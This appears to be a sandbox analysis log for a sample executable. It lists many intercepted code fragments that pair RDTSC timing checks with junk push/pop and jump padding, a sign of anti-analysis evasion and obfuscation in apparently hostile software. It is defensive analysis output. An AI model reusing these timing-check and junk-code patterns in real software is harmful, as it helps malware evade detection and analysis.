Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F217DE second address: F217FF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F7BE163C2C0h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jg 00007F7BE163C2C8h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F217FF second address: F21803 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F21803 second address: F21840 instructions: 0x00000000 rdtsc 0x00000002 je 00007F7BE163C2B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e pushad 0x0000000f pushad 0x00000010 jo 00007F7BE163C2B6h 0x00000016 jmp 00007F7BE163C2BBh 0x0000001b popad 0x0000001c jmp 00007F7BE163C2BEh 0x00000021 popad 0x00000022 mov eax, dword ptr [eax] 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jns 00007F7BE163C2B6h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F21840 second address: F2184A instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7BE1432916h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F2184A second address: F21850 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F21850 second address: F2186A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jns 00007F7BE143291Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F219E2 second address: F219EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F7BE163C2B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F21CC4 second address: F21CD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F21CD1 second address: F21CEB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE163C2C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F2238D second address: F22391 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F22391 second address: F22397 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F22397 second address: F2239D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F2239D second address: F223B0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jbe 00007F7BE163C2C4h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F225A1 second address: F225DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE143291Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007F7BE143291Ch 0x0000000f popad 0x00000010 nop 0x00000011 jnl 00007F7BE143291Bh 0x00000017 lea eax, dword ptr [ebp+1248BF10h] 0x0000001d mov ecx, eax 0x0000001f push eax 0x00000020 pushad 0x00000021 pushad 0x00000022 pushad 0x00000023 popad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F225DC second address: EFFE77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F7BE163C2C1h 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e mov ecx, 784C1FF7h 0x00000013 lea eax, dword ptr [ebp+1248BECCh] 0x00000019 push 00000000h 0x0000001b push ebp 0x0000001c call 00007F7BE163C2B8h 0x00000021 pop ebp 0x00000022 mov dword ptr [esp+04h], ebp 0x00000026 add dword ptr [esp+04h], 0000001Ch 0x0000002e inc ebp 0x0000002f push ebp 0x00000030 ret 0x00000031 pop ebp 0x00000032 ret 0x00000033 and cx, 4581h 0x00000038 mov edx, ecx 0x0000003a push eax 0x0000003b jmp 00007F7BE163C2C4h 0x00000040 mov dword ptr [esp], eax 0x00000043 push 00000000h 0x00000045 push esi 0x00000046 call 00007F7BE163C2B8h 0x0000004b pop esi 0x0000004c mov dword ptr [esp+04h], esi 0x00000050 add dword ptr [esp+04h], 00000016h 0x00000058 inc esi 0x00000059 push esi 0x0000005a ret 0x0000005b pop esi 0x0000005c ret 0x0000005d sub ch, FFFFFFFDh 0x00000060 pushad 0x00000061 sbb esi, 5BBE8FF4h 0x00000067 mov eax, dword ptr [ebp+122D1BE6h] 0x0000006d popad 0x0000006e call dword ptr [ebp+122D17C1h] 0x00000074 jmp 00007F7BE163C2BDh 0x00000079 pushad 0x0000007a push eax 0x0000007b push edx 0x0000007c pushad 0x0000007d popad 0x0000007e jmp 00007F7BE163C2C6h 0x00000083 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F660FA second address: F660FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F660FE second address: F66104 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F666E3 second address: F666E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F6982F second address: F69864 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7BE163C2BBh 0x00000009 popad 0x0000000a pop edx 0x0000000b je 00007F7BE163C2F0h 0x00000011 jmp 00007F7BE163C2C6h 0x00000016 jng 00007F7BE163C2D4h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F699B3 second address: F699CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE143291Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F699CD second address: F699D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F699D1 second address: F699ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 js 00007F7BE1432916h 0x0000000d jmp 00007F7BE143291Eh 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F6BC2C second address: F6BC30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F7278A second address: F7278F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F7278F second address: F72799 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F72799 second address: F7279F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F70F01 second address: F70F3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7BE163C2C7h 0x00000009 popad 0x0000000a jp 00007F7BE163C2D1h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F70F3E second address: F70F43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F70F43 second address: F70F49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F70F49 second address: F70F4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F716E1 second address: F716E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F716E9 second address: F716ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F716ED second address: F716F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F21F74 second address: F21F7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F21F7A second address: F21F7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F7245A second address: F7246B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F7BE1432916h 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F7246B second address: F7246F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F7246F second address: F7247D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7BE1432916h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F7560C second address: F75610 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F74F7D second address: F74FA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7BE1432922h 0x00000009 pop edi 0x0000000a jc 00007F7BE143291Eh 0x00000010 js 00007F7BE1432916h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F74FA2 second address: F74FBA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F7BE163C2BEh 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F75365 second address: F7536A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F7536A second address: F7537E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7BE163C2C0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F7537E second address: F75382 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F78A51 second address: F78A55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F78A55 second address: F78A71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F7BE1432920h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F78A71 second address: F78A91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007F7BE163C2C7h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F78D15 second address: F78D21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F7BE1432916h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F78E7F second address: F78EAA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE163C2C7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a jbe 00007F7BE163C2C6h 0x00000010 pushad 0x00000011 jnl 00007F7BE163C2B6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F81497 second address: F8149D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F7F5EC second address: F7F5FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7BE163C2BCh 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F7F5FD second address: F7F606 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F8080D second address: F80811 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F80AB7 second address: F80ABC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F80ABC second address: F80AC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F80AC2 second address: F80ACC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F80DB9 second address: F80DC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F7BE163C2B6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F80DC5 second address: F80DCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F80DCF second address: F80DD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F80DD7 second address: F80DFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F7BE1432916h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d jl 00007F7BE1432922h 0x00000013 jmp 00007F7BE143291Ah 0x00000018 push eax 0x00000019 pop eax 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F80DFD second address: F80E09 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F7BE163C2B6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F80E09 second address: F80E0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F80E0F second address: F80E32 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F7BE163C2B6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7BE163C2C3h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F80E32 second address: F80E36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F80E36 second address: F80E3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F8116F second address: F81185 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F7BE143291Fh 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F81185 second address: F8118B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F8118B second address: F81199 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F851E4 second address: F851EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F854CE second address: F854D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F854D5 second address: F854EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F7BE163C2BBh 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F854EB second address: F854F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F85A39 second address: F85A51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7BE163C2BFh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F85A51 second address: F85A57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F85A57 second address: F85A5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F85BE2 second address: F85BF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007F7BE1432916h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F85BF1 second address: F85BF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F85D93 second address: F85DA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 pop eax 0x00000007 jnc 00007F7BE1432916h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F85DA4 second address: F85DB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F87714 second address: F8771A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F91FEB second address: F91FF0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F92807 second address: F92827 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F7BE1432916h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b js 00007F7BE1432916h 0x00000011 jmp 00007F7BE143291Ch 0x00000016 push edi 0x00000017 pop edi 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F92827 second address: F92849 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE163C2C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c push edx 0x0000000d pop edx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F92849 second address: F9284F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F9284F second address: F92855 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F9299B second address: F929C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7BE143291Dh 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F7BE143291Bh 0x00000013 popad 0x00000014 jnp 00007F7BE143291Eh 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F929C7 second address: F929D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F929D1 second address: F929E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a jns 00007F7BE1432916h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F91705 second address: F9170B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F9170B second address: F9170F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: EDE2F8 second address: EDE2FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: EDE2FD second address: EDE307 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F7BE1432916h 0x0000000a rdtsc
